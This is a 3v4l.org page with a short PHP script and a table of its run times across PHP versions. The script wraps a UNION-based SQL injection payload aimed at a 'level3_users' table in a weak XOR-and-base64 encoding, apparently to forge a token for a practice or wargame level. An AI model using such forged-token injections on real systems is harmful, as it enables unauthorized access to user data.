3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo(encrypt("MTI5MTY0MTczMTY5MTc0\" union select 1,2,3,4,5 from level3_users where user=\"Admin\"#")); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0100.01018.07
8.3.50.0100.01021.90
8.3.40.0040.01118.79
8.3.30.0030.01019.09
8.3.20.0070.00020.38
8.3.10.0030.00521.98
8.3.00.0050.00322.40
8.2.180.0100.01016.38
8.2.170.0040.01122.96
8.2.160.0150.00020.52
8.2.150.0050.00324.18
8.2.140.0080.00024.66
8.2.130.0070.00726.16
8.2.120.0080.00019.48
8.2.110.0090.00022.11
8.2.100.0060.00619.63
8.2.90.0070.00019.39
8.2.80.0030.00518.16
8.2.70.0080.00317.38
8.2.60.0060.00318.03
8.2.50.0040.00418.07
8.2.40.0040.00418.16
8.2.30.0000.00718.22
8.2.20.0030.00517.83
8.2.10.0040.00419.54
8.2.00.0070.00017.71
8.1.280.0140.00725.92
8.1.270.0080.00022.18
8.1.260.0040.00426.35
8.1.250.0040.00428.09
8.1.240.0040.00423.97
8.1.230.0040.00819.25
8.1.220.0030.00717.79
8.1.210.0030.00518.77
8.1.200.0060.00317.23
8.1.190.0040.00417.43
8.1.180.0040.00418.10
8.1.170.0040.00418.66
8.1.160.0030.00521.99
8.1.150.0040.00418.61
8.1.140.0000.00717.44
8.1.130.0030.00317.78
8.1.120.0000.00717.42
8.1.110.0000.00717.33
8.1.100.0000.00717.43
8.1.90.0060.00317.44
8.1.80.0040.00417.46
8.1.70.0050.00217.39
8.1.60.0030.00617.64
8.1.50.0040.00417.47
8.1.40.0050.00317.57
8.1.30.0040.00417.68
8.1.20.0080.00017.68
8.1.10.0060.00317.55
8.1.00.0050.00217.37
8.0.300.0000.00718.77
8.0.290.0040.00417.18
8.0.280.0040.00418.54
8.0.270.0050.00217.30
8.0.260.0030.00316.91
8.0.250.0030.00316.96
8.0.240.0060.00317.04
8.0.230.0070.00016.97
8.0.220.0060.00316.89
8.0.210.0000.00716.81
8.0.200.0040.00417.01
8.0.190.0000.00816.93
8.0.180.0040.00416.96
8.0.170.0000.00716.89
8.0.160.0050.00216.80
8.0.150.0000.00816.90
8.0.140.0040.00416.92
8.0.130.0000.00613.32
8.0.120.0040.00416.80
8.0.110.0040.00416.78
8.0.100.0040.00416.82
8.0.90.0040.00316.71
8.0.80.0060.00916.98
8.0.70.0040.00416.83
8.0.60.0000.00716.93
8.0.50.0040.00416.84
8.0.30.0100.01017.11
8.0.20.0110.00817.40
8.0.10.0030.00516.95
8.0.00.0080.01116.87
7.4.330.0020.00215.00
7.4.320.0050.00316.41
7.4.300.0000.00716.64
7.4.290.0070.00016.62
7.4.280.0030.00316.68
7.4.270.0000.00716.64
7.4.260.0040.00416.43
7.4.250.0040.00416.50
7.4.240.0010.00616.65
7.4.230.0000.00716.65
7.4.220.0040.01316.60
7.4.210.0070.00816.60
7.4.200.0030.00316.66
7.4.190.0000.00716.66
7.4.160.0120.00416.67
7.4.150.0090.00917.40
7.4.140.0080.01417.86
7.4.130.0120.00716.45
7.4.120.0030.01416.54
7.4.110.0130.01016.60
7.4.100.0080.00616.58
7.4.90.0090.00916.41
7.4.80.0100.00719.39
7.4.70.0060.01116.53
7.4.60.0130.01716.33
7.4.50.0030.00516.39
7.4.40.0060.00622.77
7.4.30.0070.01116.51
7.4.00.0100.00314.61
7.3.330.0060.00313.33
7.3.320.0000.00513.34
7.3.310.0030.00316.40
7.3.300.0040.00416.32
7.3.290.0100.00716.32
7.3.280.0120.00716.38
7.3.270.0070.01017.40
7.3.260.0130.00716.40
7.3.250.0110.00516.51
7.3.240.0080.00816.29
7.3.230.0130.00316.39
7.3.210.0130.00316.52
7.3.200.0120.00419.39
7.3.190.0090.00916.57
7.3.180.0120.00916.60
7.3.170.0090.00616.36
7.3.160.0120.00916.47
7.3.120.0060.00614.80
7.2.330.0140.00416.82
7.2.320.0050.01316.65
7.2.310.0100.01316.53
7.2.300.0100.01016.68
7.2.290.0100.00616.72
7.1.100.0060.00917.87
7.1.70.0040.00417.09
7.1.60.0110.01419.82
7.1.50.0090.00616.76
7.1.00.0000.09322.28
7.0.200.0080.00016.87
7.0.140.0030.07322.17
7.0.60.0070.08320.08
7.0.50.0030.08317.91
7.0.40.0100.03720.13
7.0.30.0230.04020.33
7.0.20.0270.05020.30
7.0.10.0270.03720.12
7.0.00.0100.07720.08
5.6.280.0100.06720.91
5.6.210.0070.07020.51
5.6.200.0030.04718.28
5.6.190.0000.08720.39
5.6.180.3400.03020.57
5.6.170.0270.04320.45
5.6.160.0070.04320.50
5.6.150.0100.05318.18
5.6.140.0070.03718.23
5.6.130.0000.05318.17
5.6.120.0100.04721.03
5.6.110.0130.06721.14
5.6.100.0030.09021.04
5.6.90.0070.06020.94
5.6.80.0100.08020.36
5.6.70.0270.08320.57
5.5.350.0000.08720.47
5.5.340.0100.06018.09
5.5.330.0070.08320.13
5.5.320.0500.03720.27
5.5.310.0200.05020.37
5.5.300.0030.08718.00
5.5.290.0070.06018.09
5.5.280.0130.06320.81
5.5.270.0200.07320.95
5.5.260.0070.03720.69
5.5.250.0100.07320.71
5.5.240.0100.05320.27
5.4.450.0500.06019.71
5.4.440.0570.05719.36
5.4.430.0100.05719.32
5.4.420.0030.06019.46
5.4.410.0130.05019.40
5.4.400.0770.00018.91
5.4.390.0900.00018.73
5.4.380.0430.03718.78
5.4.370.0170.05318.78
5.4.360.0230.04718.55
5.4.350.0030.07318.74
5.4.340.0130.05718.62
5.4.320.0080.04012.51
5.4.310.0110.03912.50
5.4.300.0030.04512.51
5.4.290.0060.03812.50
5.4.280.0040.03812.40
5.4.270.0130.05018.70
5.4.260.0070.07318.77
5.4.250.0100.06018.85
5.4.240.0100.05318.91
5.4.230.0130.06718.85
5.4.220.0130.05018.92
5.4.210.0030.06018.91
5.4.200.0130.06718.92
5.4.190.0070.07718.95
5.4.180.0070.08018.85
5.4.170.0130.06718.73
5.4.160.0170.05718.93
5.4.150.0130.07718.77
5.4.140.0200.03716.54
5.4.130.0100.05316.49
5.4.120.0100.05016.31
5.4.110.0030.05316.65
5.4.100.0270.05316.36
5.4.90.0130.05716.50
5.4.80.0130.06316.54
5.4.70.0170.04716.51
5.4.60.0130.07016.31
5.4.50.0170.06016.33
5.4.40.0100.05016.57
5.4.30.0070.05316.53
5.4.20.0130.04716.44
5.4.10.0100.06016.41
5.4.00.0170.06315.80
5.3.290.0080.04112.80
5.3.280.0170.04314.57
5.3.270.0100.05714.59
5.3.260.0030.08314.77
5.3.250.0230.04014.60
5.3.240.0170.05314.79
5.3.230.0230.04014.71
5.3.220.0070.06714.59
5.3.210.0070.06014.70
5.3.200.0130.06314.40
5.3.190.0030.05714.75
5.3.180.0100.05714.79
5.3.170.0170.04314.57
5.3.160.0170.04714.56
5.3.150.0130.05314.57
5.3.140.0170.05314.55
5.3.130.0200.06014.56
5.3.120.0130.04714.62
5.3.110.0070.07714.62
5.3.100.0170.05314.03
5.3.90.0170.07014.02
5.3.80.0100.06714.09
5.3.70.0130.05714.11
5.3.60.0170.04314.18
5.3.50.0200.06014.13
5.3.40.0070.06013.86
5.3.30.0130.06314.07
5.3.20.0130.04713.88
5.3.10.0100.06713.64
5.3.00.0130.07013.86
5.2.170.0100.04011.24
5.2.160.0100.05011.24
5.2.150.0100.04311.23
5.2.140.0030.04311.23
5.2.130.0100.05010.94
5.2.120.0030.06311.20
5.2.110.0170.04311.18
5.2.100.0000.04311.12
5.2.90.0100.04311.20
5.2.80.0100.03711.32
5.2.70.0070.04011.08
5.2.60.0130.04711.14
5.2.50.0100.05010.99
5.2.40.0170.05011.09
5.2.30.0270.03010.98
5.2.20.0230.02710.96
5.2.10.0070.05710.95
5.2.00.0070.04010.82
5.1.60.0100.03310.07
5.1.50.0000.04710.00
5.1.40.0070.04010.07
5.1.30.0030.04010.41
5.1.20.0100.05010.19
5.1.10.0030.03710.17
5.1.00.0000.04710.11
5.0.50.0100.0338.52
5.0.40.0070.0378.38
5.0.30.0130.0438.07
5.0.20.0030.0278.36
5.0.10.0070.0308.18
5.0.00.0070.0538.02
4.4.90.0030.0306.45
4.4.80.0000.0276.45
4.4.70.0000.0336.45
4.4.60.0030.0236.45
4.4.50.0030.0236.45
4.4.40.0130.0276.45
4.4.30.0030.0236.45
4.4.20.0100.0236.45
4.4.10.0030.0306.45
4.4.00.0070.0436.45
4.3.110.0070.0236.45
4.3.100.0030.0206.45
4.3.90.0100.0136.45
4.3.80.0000.0376.45
4.3.70.0070.0206.45
4.3.60.0000.0236.45
4.3.50.0000.0276.45
4.3.40.0000.0376.45
4.3.30.0030.0236.45
4.3.20.0000.0276.45
4.3.10.0000.0336.45
4.3.00.0130.0176.13

preferences:
50.17 ms | 400 KiB | 5 Q